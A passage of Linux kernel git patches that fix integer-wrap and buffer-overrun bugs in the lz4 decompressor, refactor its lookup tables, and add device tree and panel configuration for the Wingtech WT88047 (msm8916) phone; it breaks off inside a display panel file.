char *dest, size_t *dest_len) { int ret = -1; int out_len = 0; From 5bb34c22b643cd29ee9ee5f5d7a71a33732fb088 Mon Sep 17 00:00:00 2001 From: Greg Kroah-Hartman Date: Fri, 20 Jun 2014 22:01:41 -0700 Subject: [PATCH 009/365] lz4: ensure length does not wrap Given some pathologically compressed data, lz4 could possibly decide to wrap a few internal variables, causing unknown things to happen. Catch this before the wrapping happens and abort the decompression. Change-Id: I8bba00490ae0885bf9c80e81bb2cdcfc479cf35c Reported-by: "Don A. Bailey" Cc: stable Signed-off-by: Greg Kroah-Hartman --- lib/lz4/lz4_decompress.c | 2 ++ 1 file changed, 2 insertions(+) diff --git a/lib/lz4/lz4_decompress.c b/lib/lz4/lz4_decompress.c index df6839e3ce088..99a03acb7d470 100644 --- a/lib/lz4/lz4_decompress.c +++ b/lib/lz4/lz4_decompress.c @@ -72,6 +72,8 @@ static int lz4_uncompress(const char *source, char *dest, int osize) len = *ip++; for (; len == 255; length += 255) len = *ip++; + if (unlikely(length > (size_t)(length + len))) + goto _output_error; length += len; } From 357808195b702169910d5e4fa346b95ae69e2ca9 Mon Sep 17 00:00:00 2001 From: Greg Kroah-Hartman Date: Tue, 24 Jun 2014 16:59:01 -0400 Subject: [PATCH 010/365] lz4: fix another possible overrun There is one other possible overrun in the lz4 code as implemented by Linux at this point in time (which differs from the upstream lz4 codebase, but will get synced at in a future kernel release.) As pointed out by Don, we also need to check the overflow in the data itself. While we are at it, replace the odd error return value with just a "simple" -1 value as the return value is never used for anything other than a basic "did this work or not" check. Change-Id: I0ec95989e2f47889297eeb9f7fb88753b0fbf345 Reported-by: "Don A. Bailey" Reported-by: Willy Tarreau Cc: stable Signed-off-by: Greg Kroah-Hartman --- lib/lz4/lz4_decompress.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/lib/lz4/lz4_decompress.c b/lib/lz4/lz4_decompress.c index 99a03acb7d470..b74da447e81e1 100644 --- a/lib/lz4/lz4_decompress.c +++ b/lib/lz4/lz4_decompress.c @@ -108,6 +108,8 @@ static int lz4_uncompress(const char *source, char *dest, int osize) if (length == ML_MASK) { for (; *ip == 255; length += 255) ip++; + if (unlikely(length > (size_t)(length + *ip))) + goto _output_error; length += *ip++; } @@ -157,7 +159,7 @@ static int lz4_uncompress(const char *source, char *dest, int osize) /* write overflow error detected */ _output_error: - return (int) (-(((char *)ip) - source)); + return -1; } static int lz4_uncompress_unknownoutputsize(const char *source, char *dest, From 59c91fb5a890c4f33d6626dbe146e28de83574e8 Mon Sep 17 00:00:00 2001 From: Greg Kroah-Hartman Date: Thu, 3 Jul 2014 16:06:57 -0700 Subject: [PATCH 011/365] lz4: add overrun checks to lz4_uncompress_unknownoutputsize() Jan points out that I forgot to make the needed fixes to the lz4_uncompress_unknownoutputsize() function to mirror the changes done in lz4_decompress() with regards to potential pointer overflows. The only in-kernel user of this function is the zram code, which only takes data from a valid compressed buffer that it made itself, so it's not a big issue. But due to external kernel modules using this function, it's better to be safe here. Change-Id: I06ac5790c1ce72f173371281483200d8a34396f2 Reported-by: Jan Beulich Cc: "Don A. Bailey" Cc: stable Signed-off-by: Greg Kroah-Hartman --- lib/lz4/lz4_decompress.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/lib/lz4/lz4_decompress.c b/lib/lz4/lz4_decompress.c index b74da447e81e1..7a85967060a51 100644 --- a/lib/lz4/lz4_decompress.c +++ b/lib/lz4/lz4_decompress.c @@ -192,6 +192,8 @@ static int lz4_uncompress_unknownoutputsize(const char *source, char *dest, int s = 255; while ((ip < iend) && (s == 255)) { s = *ip++; + if (unlikely(length > (size_t)(length + s))) + goto _output_error; length += s; } } @@ -232,6 +234,8 @@ static int lz4_uncompress_unknownoutputsize(const char *source, char *dest, if (length == ML_MASK) { while (ip < iend) { int s = *ip++; + if (unlikely(length > (size_t)(length + s))) + goto _output_error; length += s; if (s == 255) continue; @@ -284,7 +288,7 @@ static int lz4_uncompress_unknownoutputsize(const char *source, char *dest, /* write overflow error detected */ _output_error: - return (int) (-(((char *) ip) - source)); + return -1; } int lz4_decompress(const unsigned char *src, size_t *src_len, From d24440a5db226923335f852d89c074645143745e Mon Sep 17 00:00:00 2001 From: Shashank Shekhar Date: Fri, 12 Dec 2014 13:31:13 -0600 Subject: [PATCH 012/365] lib: lz4: Set ARM_EFFICIENT_UNALIGNED_ACCESS Set ARM_EFFICIENT_UNALIGNED_ACCESS to improve performance in lz4 compression and decompression. On msm8x26 cortex-a7, LZO LZ4 LZ4 w/ UA decompress (bs=4k) 121.21 115.52 148.7 LZO LZ4 LZ4 w/ UA compress (bs=4k) 37.5 34.5 44.8 Change-Id: Ib4daa0e702125096d46095121a13c337e386b161 --- lib/lz4/lz4defs.h | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/lz4/lz4defs.h b/lib/lz4/lz4defs.h index abcecdc2d0f23..9b4182fd324c4 100644 --- a/lib/lz4/lz4defs.h +++ b/lib/lz4/lz4defs.h @@ -21,6 +21,7 @@ /* * Architecture-specific macros */ +#define ARM_EFFICIENT_UNALIGNED_ACCESS #define BYTE u8 typedef struct _U16_S { u16 v; } U16_S; typedef struct _U32_S { u32 v; } U32_S; From 349f0fdc2ce3fd8ca3ae326db7041e60d206ded8 Mon Sep 17 00:00:00 2001 From: JeHyeon Yeon Date: Mon, 16 Mar 2015 01:03:19 +0000 Subject: [PATCH 013/365] LZ4 : fix the data abort issue If the part of the compression data are corrupted, or the compression data is totally fake, the memory access over the limit is possible. This is the log from my system usning lz4 decompression. [6502]data abort, halting [6503]r0 0x00000000 r1 0x00000000 r2 0xdcea0ffc r3 0xdcea0ffc [6509]r4 0xb9ab0bfd r5 0xdcea0ffc r6 0xdcea0ff8 r7 0xdce80000 [6515]r8 0x00000000 r9 0x00000000 r10 0x00000000 r11 0xb9a98000 [6522]r12 0xdcea1000 usp 0x00000000 ulr 0x00000000 pc 0x820149bc [6528]spsr 0x400001f3 and the memory addresses of some variables at the moment are ref:0xdcea0ffc, op:0xdcea0ffc, oend:0xdcea1000 As you can see, COPYLENGH is 8bytes, so @ref and @op can access the momory over @oend. Signed-off-by: JeHyeon Yeon Reviewed-by: David Sterba Signed-off-by: Greg Kroah-Hartman Change-Id: I7d2375be2402adce78b6e7b966401ff4768fd3ea --- lib/lz4/lz4_decompress.c | 3 +++ 1 file changed, 3 insertions(+) diff --git a/lib/lz4/lz4_decompress.c b/lib/lz4/lz4_decompress.c index 7a85967060a51..f0f5c5c3de12e 100644 --- a/lib/lz4/lz4_decompress.c +++ b/lib/lz4/lz4_decompress.c @@ -139,6 +139,9 @@ static int lz4_uncompress(const char *source, char *dest, int osize) /* Error: request to write beyond destination buffer */ if (cpy > oend) goto _output_error; + if ((ref + COPYLENGTH) > oend || + (op + COPYLENGTH) > oend) + goto _output_error; LZ4_SECURECOPY(ref, op, (oend - COPYLENGTH)); while (op < cpy) *op++ = *ref++; From ad0906e6190404764180d8104556e6b88e1006da Mon Sep 17 00:00:00 2001 From: Rasmus Villemoes Date: Tue, 10 Feb 2015 11:12:21 +0100 Subject: [PATCH 014/365] lib/lz4: Pull out constant tables There's no reason to allocate the dec{32,64}table on the stack; it just wastes a bunch of instructions setting them up and, of course, also consumes quite a bit of stack. Using size_t for such small integers is a little excessive. $ scripts/bloat-o-meter /tmp/built-in.o lib/built-in.o add/remove: 2/2 grow/shrink: 2/0 up/down: 1304/-1548 (-244) function old new delta lz4_decompress_unknownoutputsize 55 718 +663 lz4_decompress 55 632 +577 dec64table - 32 +32 dec32table - 32 +32 lz4_uncompress 747 - -747 lz4_uncompress_unknownoutputsize 801 - -801 The now inlined lz4_uncompress functions used to have a stack footprint of 176 bytes (according to -fstack-usage); their inlinees have increased their stack use from 32 bytes to 48 and 80 bytes, respectively. Signed-off-by: Rasmus Villemoes Signed-off-by: Greg Kroah-Hartman Change-Id: I99e353a74605cac603eba77b8d6d1fda3906c7c1 --- lib/lz4/lz4_decompress.c | 18 +++++++----------- 1 file changed, 7 insertions(+), 11 deletions(-) diff --git a/lib/lz4/lz4_decompress.c b/lib/lz4/lz4_decompress.c index f0f5c5c3de12e..26cc6029b280d 100644 --- a/lib/lz4/lz4_decompress.c +++ b/lib/lz4/lz4_decompress.c @@ -47,6 +47,11 @@ #include "lz4defs.h" +static const int dec32table[] = {0, 3, 2, 3, 0, 0, 0, 0}; +#if LZ4_ARCH64 +static const int dec64table[] = {0, 0, 0, -1, 0, 1, 2, 3}; +#endif + static int lz4_uncompress(const char *source, char *dest, int osize) { const BYTE *ip = (const BYTE *) source; @@ -56,10 +61,6 @@ static int lz4_uncompress(const char *source, char *dest, int osize) BYTE *cpy; unsigned token; size_t length; - size_t dec32table[] = {0, 3, 2, 3, 0, 0, 0, 0}; -#if LZ4_ARCH64 - size_t dec64table[] = {0, 0, 0, -1, 0, 1, 2, 3}; -#endif while (1) { @@ -116,7 +117,7 @@ static int lz4_uncompress(const char *source, char *dest, int osize) /* copy repeated sequence */ if (unlikely((op - ref) < STEPSIZE)) { #if LZ4_ARCH64 - size_t dec64 = dec64table[op - ref]; + int dec64 = dec64table[op - ref]; #else const int dec64 = 0; #endif @@ -177,11 +178,6 @@ static int lz4_uncompress_unknownoutputsize(const char *source, char *dest, BYTE * const oend = op + maxoutputsize; BYTE *cpy; - size_t dec32table[] = {0, 3, 2, 3, 0, 0, 0, 0}; -#if LZ4_ARCH64 - size_t dec64table[] = {0, 0, 0, -1, 0, 1, 2, 3}; -#endif - /* Main Loop */ while (ip < iend) { @@ -249,7 +245,7 @@ static int lz4_uncompress_unknownoutputsize(const char *source, char *dest, /* copy repeated sequence */ if (unlikely((op - ref) < STEPSIZE)) { #if LZ4_ARCH64 - size_t dec64 = dec64table[op - ref]; + int dec64 = dec64table[op - ref]; #else const int dec64 = 0; #endif From 3fba586b1a4396ed4828bfa45586594348a4b607 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Mon, 5 Oct 2015 20:17:17 +0700 Subject: [PATCH 015/365] wt88047: Rebase Wingtech WT88047 support * Device tree: - Device tree from balika011 - Modified to solve LCD garbled issue (DSI under/overrun) - Modified based on Wingtech T86519A1 device tree info - Re-checked based on extracted Redmi 2 device tree * Kernel config: - Kernel config extracted from Redmi 2 kernel, modified based on rendang and tomato config - YAS537 magnetic sensor support not available, HM2014817 using AKM09911 instead - BQ2022A battery controller support not available Currently not boot WT88047, will be fixed later Change-Id: I4d4ae4d5564d01a789e90d4e96e7d8ba103c76ab --- arch/arm/boot/dts/qcom/Makefile | 2 + arch/arm/boot/dts/qcom/msm8916-wt88047.dts | 193 + .../wt88047/dsi-panel-nt35521-720p-video.dtsi | 73 + .../dsi-panel-nt35521-ofilm-720p-video.dtsi | 66 + .../dsi-panel-nt35521s-720p-video.dtsi | 65 + .../dsi-panel-otm1285a-720p-video.dtsi | 64 + .../dsi-panel-otm1285a-otp-720p-video.dtsi | 64 + .../wt88047/dsi-panel-r61308-720p-video.dtsi | 68 + .../dsi-panel-r61308-s88047a1-720p-video.dtsi | 68 + .../wt88047/dsi-panel-r69431-720p-video.dtsi | 65 + .../msm8916-camera-sensor-wt88047.dtsi | 211 + .../dts/qcom/wt88047/msm8916-wt88047.dtsi | 354 ++ .../arm/configs/cyanogenmod_wt88047_defconfig | 3758 +++++++++++++++++ drivers/platform/Kconfig | 1 + drivers/platform/wingtech/Kconfig | 24 + 15 files changed, 5076 insertions(+) create mode 100644 arch/arm/boot/dts/qcom/msm8916-wt88047.dts create mode 100644 arch/arm/boot/dts/qcom/wt88047/dsi-panel-nt35521-720p-video.dtsi create mode 100644 arch/arm/boot/dts/qcom/wt88047/dsi-panel-nt35521-ofilm-720p-video.dtsi create mode 100644 arch/arm/boot/dts/qcom/wt88047/dsi-panel-nt35521s-720p-video.dtsi create mode 100644 arch/arm/boot/dts/qcom/wt88047/dsi-panel-otm1285a-720p-video.dtsi create mode 100644 arch/arm/boot/dts/qcom/wt88047/dsi-panel-otm1285a-otp-720p-video.dtsi create mode 100644 arch/arm/boot/dts/qcom/wt88047/dsi-panel-r61308-720p-video.dtsi create mode 100644 arch/arm/boot/dts/qcom/wt88047/dsi-panel-r61308-s88047a1-720p-video.dtsi create mode 100644 arch/arm/boot/dts/qcom/wt88047/dsi-panel-r69431-720p-video.dtsi create mode 100644 arch/arm/boot/dts/qcom/wt88047/msm8916-camera-sensor-wt88047.dtsi create mode 100644 arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi create mode 100644 arch/arm/configs/cyanogenmod_wt88047_defconfig create mode 100644 drivers/platform/wingtech/Kconfig diff --git a/arch/arm/boot/dts/qcom/Makefile b/arch/arm/boot/dts/qcom/Makefile index 5fa9c110be792..5bd30e60e91af 100644 --- a/arch/arm/boot/dts/qcom/Makefile +++ b/arch/arm/boot/dts/qcom/Makefile @@ -80,6 +80,8 @@ else ifeq ($(CONFIG_MACH_HAIER_MSM8916),y) dtb-$(CONFIG_ARCH_MSM8916) += msm8916-g36c1h.dtb else ifeq ($(CONFIG_MACH_LONGCHEER_MSM8916),y) dtb-$(CONFIG_ARCH_MSM8916) += msm8916-qrd-l8150.dtb +else ifeq ($(CONFIG_MACH_WINGTECH_MSM8916),y) +dtb-$(CONFIG_ARCH_MSM8916) += msm8916-wt88047.dtb else dtb-$(CONFIG_ARCH_MSM8916) += msm8916-cdp.dtb \ msm8916-cdp-smb1360.dtb \ diff --git a/arch/arm/boot/dts/qcom/msm8916-wt88047.dts b/arch/arm/boot/dts/qcom/msm8916-wt88047.dts new file mode 100644 index 0000000000000..09fc83e49c3d6 --- /dev/null +++ b/arch/arm/boot/dts/qcom/msm8916-wt88047.dts @@ -0,0 +1,193 @@ +/* Copyright (c) 2015, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +/dts-v1/; + +#include "msm8916-qrd.dtsi" +#include "msm8916-memory.dtsi" +#include "wt88047/msm8916-wt88047.dtsi" + +/ { + model = "Qualcomm Technologies, Inc. MSM 8916 WT88047"; + compatible = "qcom,msm8916-qrd", "qcom,msm8916", "qcom,qrd"; + qcom,board-id = <0x1010b 7>; +}; + +&soc { + i2c@78b8000 { + smb1360_otg_supply: smb1360-chg-fg@14 { + compatible = "qcom,smb1360-chg-fg"; + reg = <0x14>; + interrupt-parent = <&msm_gpio>; + interrupts = <62 8>; + pinctrl-names = "default"; + pinctrl-0 = <&smb_int_default>; + qcom,chg-inhibit-disabled; + qcom,fg-batt-capacity-mah = <2200>; + qcom,fg-cc-soc-coeff = <0x8373>; + qcom,fg-delta-soc = <1>; + qcom,fg-cutoff-voltage-mv = <3400>; + qcom,fg-iterm-ma = <150>; + qcom,fg-ibatt-standby-ma = <200>; + qcom,fg-cc-to-cv-mv = <4328>; + qcom,fg-auto-recharge-soc = <99>; + qcom,thermistor-c1-coeff = <0x85d2>; + qcom,float-voltage-mv = <4350>; + qcom,iterm-ma = <200>; + qcom,recharge-thresh-mv = <100>; + qcom,warm-recharge-thresh-mv = <200>; + qcom,thermal-mitigation = <1500 700 600 0>; + qcom,config-hard-thresholds; + qcom,hot-bat-decidegc = <600>; + qcom,cold-bat-decidegc = <0>; + qcom,soft-jeita-supported; + qcom,warm-bat-decidegc = <450>; + qcom,cool-bat-decidegc = <100>; + qcom,warm-bat-mv = <4000>; + qcom,cool-bat-mv = <4100>; + qcom,warm-bat-ma = <600>; + qcom,cool-bat-ma = <600>; + regulator-name = "smb1360_otg_vreg"; + qcom,shdn-after-pwroff; + }; + }; + + i2c@78b9000 { /* BLSP1 QUP5 */ + focaltech@38 { + compatible = "focaltech,5x06"; + reg = <0x38>; + interrupt-parent = <&msm_gpio>; + interrupts = <13 0x2008>; + vdd-supply = <&pm8916_l17>; + vcc_i2c-supply = <&pm8916_l6>; + pinctrl-names = "pmx_ts_active","pmx_ts_suspend","pmx_ts_release"; + pinctrl-0 = <&ts_int_active &ts_reset_active>; + pinctrl-1 = <&ts_int_suspend &ts_reset_suspend>; + pinctrl-2 = <&ts_release>; + focaltech,name = "ft6436"; + focaltech,family-id = <0x36>; + focaltech,reset-gpio = <&msm_gpio 12 0x0>; + focaltech,irq-gpio = <&msm_gpio 13 0x2008>; + focaltech,display-coords = <0 0 720 1280>; + focaltech,panel-coords = <0 0 720 1280>; + focaltech,button-map= <139 102 158>; + focaltech,no-force-update; + focaltech,i2c-pull-up; + focaltech,group-id = <1>; + focaltech,hard-reset-delay-ms = <20>; + focaltech,soft-reset-delay-ms = <200>; + focaltech,num-max-touches = <10>; + focaltech,fw-delay-aa-ms = <30>; + focaltech,fw-delay-55-ms = <30>; + focaltech,fw-upgrade-id1 = <0x79>; + focaltech,fw-upgrade-id2 = <0x18>; + focaltech,fw-delay-readid-ms = <10>; + focaltech,fw-delay-era-flsh-ms = <2000>; + focaltech,fw-auto-cal; + focaltech,ignore-id-check; + }; + }; + + gen-vkeys { + compatible = "qcom,gen-vkeys"; + label = "ft5x06_ts"; + qcom,disp-maxx = <720>; + qcom,disp-maxy = <1280>; + qcom,panel-maxx = <720>; + qcom,panel-maxy = <1400>; + qcom,key-codes = <139 172 158>; + qcom,y-offset = <0>; + }; +}; + +&pm8916_chg { + status = "ok"; + qcom,use-external-charger; +}; + +&pm8916_bms { + status = "ok"; + qcom,disable-bms; +}; + +&usb_otg { + qcom,hsusb-otg-mode = <3>; + qcom,usbid-gpio = <&msm_gpio 110 0>; + pinctrl-names = "default"; + pinctrl-0 = <&usbid_default>; + vbus_otg-supply = <&smb1360_otg_supply>; +}; + +&spmi_bus { + qcom,pm8916@1 { + qcom,vibrator@c000 { + status = "okay"; + qcom,vib-timeout-ms = <15000>; + qcom,vib-vtg-level-mV = <2700>; + }; + }; +}; + +&pm8916_rtc { + qcom,qpnp-rtc-write = <1>; + qcom,qpnp-rtc-alarm-pwrup = <1>; +}; + +&pm8916_l16 { + qcom,init-voltage = <2800000>; + regulator-always-on; +}; + +&pm8916_pon { + qcom,poweron-vadc = <&pm8916_vadc>; + + qcom,pon_1 { + qcom,s1-timer = <6000>; + }; +}; + +&pm8916_vadc { + chan@11 { + label = "mpp2_vol"; + reg = <0x11>; + qcom,decimation = <0>; + qcom,pre-div-channel-scaling = <0>; + qcom,calibration-type = "absolute"; + qcom,scale-function = <0>; + qcom,hw-settle-time = <0>; + qcom,fast-avg-setup = <0>; + }; +}; + +&pm8916_gpios { + gpio@c100 { /* GPIO 2 */ + /* NFC_CLK_REQ */ + status = "disabled"; + }; + + gpio@c200 { /* GPIO 3 */ + /* External regulator control for WTR */ + qcom,mode = <1>; + qcom,output-type = <1>; + qcom,invert = <0>; + qcom,pull = <5>; + qcom,vin-sel = <0>; + qcom,out-strength = <3>; + qcom,src-sel = <0>; + qcom,master-en = <1>; + status = "ok"; + }; +}; + +&apc_vreg_corner { + qcom,cpr-voltage-floor = <1050000 1100000 1250000>; +}; diff --git a/arch/arm/boot/dts/qcom/wt88047/dsi-panel-nt35521-720p-video.dtsi b/arch/arm/boot/dts/qcom/wt88047/dsi-panel-nt35521-720p-video.dtsi new file mode 100644 index 0000000000000..da7c673faf639 --- /dev/null +++ b/arch/arm/boot/dts/qcom/wt88047/dsi-panel-nt35521-720p-video.dtsi @@ -0,0 +1,73 @@ +/* Copyright (c) 2013, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +&mdss_mdp { + dsi_nt35521_720p_video: qcom,mdss_dsi_nt35521_720p_video { + qcom,mdss-dsi-panel-name = "nt35521_HD720p_video_AUO5"; + qcom,mdss-dsi-panel-controller = <&mdss_dsi0>; + qcom,mdss-dsi-panel-type = "dsi_video_mode"; + qcom,mdss-dsi-panel-destination = "display_1"; + qcom,mdss-dsi-panel-framerate = <60>; + qcom,mdss-dsi-virtual-channel-id = <0>; + qcom,mdss-dsi-stream = <0>; + qcom,mdss-dsi-panel-width = <720>; + qcom,mdss-dsi-panel-height = <1280>; + qcom,mdss-pan-physical-width-dimension = <58>; + qcom,mdss-pan-physical-height-dimension = <103>; + qcom,mdss-dsi-h-front-porch = <160>; + qcom,mdss-dsi-h-back-porch = <160>; + qcom,mdss-dsi-h-pulse-width = <20>; + qcom,mdss-dsi-h-sync-skew = <0>; + qcom,mdss-dsi-v-back-porch = <16>; + qcom,mdss-dsi-v-front-porch = <16>; + qcom,mdss-dsi-v-pulse-width = <2>; + qcom,mdss-dsi-h-left-border = <0>; + qcom,mdss-dsi-h-right-border = <0>; + qcom,mdss-dsi-v-top-border = <0>; + qcom,mdss-dsi-v-bottom-border = <20>; + qcom,mdss-dsi-bpp = <24>; + qcom,mdss-dsi-underflow-color = <0xff>; + qcom,mdss-dsi-border-color = <0>; + qcom,mdss-dsi-pixel-packing = "tight"; + qcom,mdss-dsi-on-command = [39 01 00 00 00 00 06 f0 55 aa 52 08 00 + 39 01 00 00 00 00 02 c8 00 + 39 01 00 00 00 00 06 f0 55 aa 52 08 01 + 39 01 00 00 00 00 03 b5 04 04 + 39 01 00 00 00 00 03 b9 35 35 + 39 01 00 00 00 00 03 ba 25 25 05 01 00 00 78 00 02 11 00 05 01 00 00 00 00 02 29 00]; + qcom,mdss-dsi-off-command = [05 01 00 00 00 00 02 28 00 + 05 01 00 00 00 00 02 10 00]; + qcom,mdss-dsi-on-command-state = "dsi_lp_mode"; + qcom,mdss-dsi-off-command-state = "dsi_hs_mode"; + qcom,mdss-dsi-h-sync-pulse = <1>; + qcom,mdss-dsi-traffic-mode = "burst_mode"; + qcom,mdss-dsi-bllp-eof-power-mode; + qcom,mdss-dsi-bllp-power-mode; + qcom,mdss-dsi-hfp-power-mode; + qcom,mdss-dsi-hbp-power-mode; + qcom,mdss-dsi-hsa-power-mode; + qcom,mdss-dsi-lane-0-state; + qcom,mdss-dsi-lane-1-state; + qcom,mdss-dsi-lane-2-state; + qcom,mdss-dsi-panel-timings = [b4 2a 1c 00 54 58 20 2e 20 03 04 00]; + qcom,mdss-dsi-t-clk-post = <0x03>; + qcom,mdss-dsi-t-clk-pre = <0x23>; + qcom,mdss-dsi-bl-min-level = <10>; + qcom,mdss-dsi-bl-max-level = <255>; + qcom,mdss-dsi-bl-pmic-pwm-frequency = <100>; + qcom,mdss-dsi-bl-pmic-bank-select = <0>; + qcom,mdss-dsi-dma-trigger = "trigger_sw"; + qcom,mdss-dsi-mdp-trigger = "none"; + qcom,mdss-dsi-bl-pmic-control-type = "bl_ctrl_pwm"; + qcom,mdss-dsi-reset-sequence = <1 5>, <0 10>, <1 30>; + }; +}; diff --git a/arch/arm/boot/dts/qcom/wt88047/dsi-panel-nt35521-ofilm-720p-video.dtsi b/arch/arm/boot/dts/qcom/wt88047/dsi-panel-nt35521-ofilm-720p-video.dtsi new file mode 100644 index 0000000000000..fb97e6a94d8e7 --- /dev/null +++ b/arch/arm/boot/dts/qcom/wt88047/dsi-panel-nt35521-ofilm-720p-video.dtsi @@ -0,0 +1,66 @@ +/* Copyright (c) 2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +&mdss_mdp { + dsi_nt35521_ofilm_720p_video: qcom,mdss_dsi_nt35521_ofilm_720p_video { + qcom,mdss-dsi-panel-name = "nt35521_HD720p_video_OFILM"; + qcom,mdss-dsi-panel-controller = <&mdss_dsi0>; + qcom,mdss-dsi-panel-type = "dsi_video_mode"; + qcom,mdss-dsi-panel-destination = "display_1"; + qcom,mdss-dsi-panel-framerate = <60>; + qcom,mdss-dsi-virtual-channel-id = <0>; + qcom,mdss-dsi-stream = <0>; + qcom,mdss-dsi-panel-width = <720>; + qcom,mdss-dsi-panel-height = <1280>; + qcom,mdss-pan-physical-width-dimension = <58>; + qcom,mdss-pan-physical-height-dimension = <103>; + qcom,mdss-dsi-h-front-porch = <160>; + qcom,mdss-dsi-h-back-porch = <160>; + qcom,mdss-dsi-h-pulse-width = <20>; + qcom,mdss-dsi-h-sync-skew = <0>; + qcom,mdss-dsi-v-back-porch = <16>; + qcom,mdss-dsi-v-front-porch = <16>; + qcom,mdss-dsi-v-pulse-width = <2>; + qcom,mdss-dsi-h-left-border = <0>; + qcom,mdss-dsi-h-right-border = <0>; + qcom,mdss-dsi-v-top-border = <0>; + qcom,mdss-dsi-v-bottom-border = <20>; + qcom,mdss-dsi-bpp = <24>; + qcom,mdss-dsi-underflow-color = <0xff>; + qcom,mdss-dsi-border-color = <0>; + qcom,mdss-dsi-pixel-packing = "tight"; + qcom,mdss-dsi-on-command = [39 01 00 00 00 00 06 f0 55 aa 52 08 00 39 01 00 00 00 00 02 c8 00 39 01 00 00 00 00 06 f0 55 aa 52 08 01 39 01 00 00 00 00 03 b5 04 04 39 01 00 00 00 00 03 b9 35 35 39 01 00 00 00 00 03 ba 25 25 05 01 00 00 78 00 02 11 00 05 01 00 00 00 00 02 29 00]; + qcom,mdss-dsi-off-command = [05 01 00 00 00 00 02 28 00 05 01 00 00 00 00 02 10 00]; + qcom,mdss-dsi-on-command-state = "dsi_lp_mode"; + qcom,mdss-dsi-off-command-state = "dsi_hs_mode"; + qcom,mdss-dsi-h-sync-pulse = <1>; + qcom,mdss-dsi-traffic-mode = "burst_mode"; + qcom,mdss-dsi-bllp-eof-power-mode; + qcom,mdss-dsi-bllp-power-mode; + qcom,mdss-dsi-lane-0-state; + qcom,mdss-dsi-lane-1-state; + qcom,mdss-dsi-lane-2-state; + qcom,mdss-dsi-panel-timings = [b4 2a 1c 00 54 58 20 2e 20 03 04 00]; + qcom,mdss-dsi-t-clk-post = <0x03>; + qcom,mdss-dsi-t-clk-pre = <0x23>; + qcom,mdss-dsi-bl-min-level = <1>; + qcom,mdss-dsi-bl-max-level = <255>; + qcom,mdss-dsi-bl-pmic-pwm-frequency = <100>; + qcom,mdss-dsi-bl-pmic-bank-select = <0>; + qcom,mdss-dsi-dma-trigger = "trigger_sw"; + qcom,mdss-dsi-mdp-trigger = "none"; + qcom,mdss-dsi-lp11-init; + qcom,mdss-dsi-init-delay-us = <50000>; + qcom,mdss-dsi-bl-pmic-control-type = "bl_ctrl_pwm"; + qcom,mdss-dsi-reset-sequence = <1 5>, <0 10>, <1 30>; + }; +}; diff --git a/arch/arm/boot/dts/qcom/wt88047/dsi-panel-nt35521s-720p-video.dtsi b/arch/arm/boot/dts/qcom/wt88047/dsi-panel-nt35521s-720p-video.dtsi new file mode 100644 index 0000000000000..88381e23d923c --- /dev/null +++ b/arch/arm/boot/dts/qcom/wt88047/dsi-panel-nt35521s-720p-video.dtsi @@ -0,0 +1,65 @@ +/* Copyright (c) 2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +&mdss_mdp { + dsi_nt35521s_720p_video: qcom,mdss_dsi_nt35521s_720p_video { + qcom,mdss-dsi-panel-name = "nt35521s_HD720p_video_BOE"; + qcom,mdss-dsi-panel-controller = <&mdss_dsi0>; + qcom,mdss-dsi-panel-type = "dsi_video_mode"; + qcom,mdss-dsi-panel-destination = "display_1"; + qcom,mdss-dsi-panel-framerate = <60>; + qcom,mdss-dsi-virtual-channel-id = <0>; + qcom,mdss-dsi-stream = <0>; + qcom,mdss-dsi-panel-width = <720>; + qcom,mdss-dsi-panel-height = <1280>; + qcom,mdss-pan-physical-width-dimension = <58>; + qcom,mdss-pan-physical-height-dimension = <103>; + qcom,mdss-dsi-h-front-porch = <160>; + qcom,mdss-dsi-h-back-porch = <160>; + qcom,mdss-dsi-h-pulse-width = <20>; + qcom,mdss-dsi-h-sync-skew = <0>; + qcom,mdss-dsi-v-back-porch = <16>; + qcom,mdss-dsi-v-front-porch = <16>; + qcom,mdss-dsi-v-pulse-width = <2>; + qcom,mdss-dsi-h-left-border = <0>; + qcom,mdss-dsi-h-right-border = <0>; + qcom,mdss-dsi-v-top-border = <0>; + qcom,mdss-dsi-v-bottom-border = <20>; + qcom,mdss-dsi-bpp = <24>; + qcom,mdss-dsi-underflow-color = <0xff>; + qcom,mdss-dsi-border-color = <0>; + qcom,mdss-dsi-on-command = [29 01 00 00 00 00 05 ff aa 55 25 01 29 01 00 00 00 00 02 6f 21 29 01 00 00 00 00 02 f7 01 29 01 00 00 00 00 02 6f 21 29 01 00 00 00 00 02 f7 00 29 01 00 00 00 00 05 ff aa 55 25 00 29 01 00 00 00 00 02 35 00 05 01 00 00 78 00 02 11 00 05 01 00 00 00 00 02 29 00]; + qcom,mdss-dsi-off-command = [05 01 00 00 00 00 02 28 00 05 01 00 00 78 00 02 10 00]; + qcom,mdss-dsi-on-command-state = "dsi_lp_mode"; + qcom,mdss-dsi-off-command-state = "dsi_hs_mode"; + qcom,mdss-dsi-h-sync-pulse = 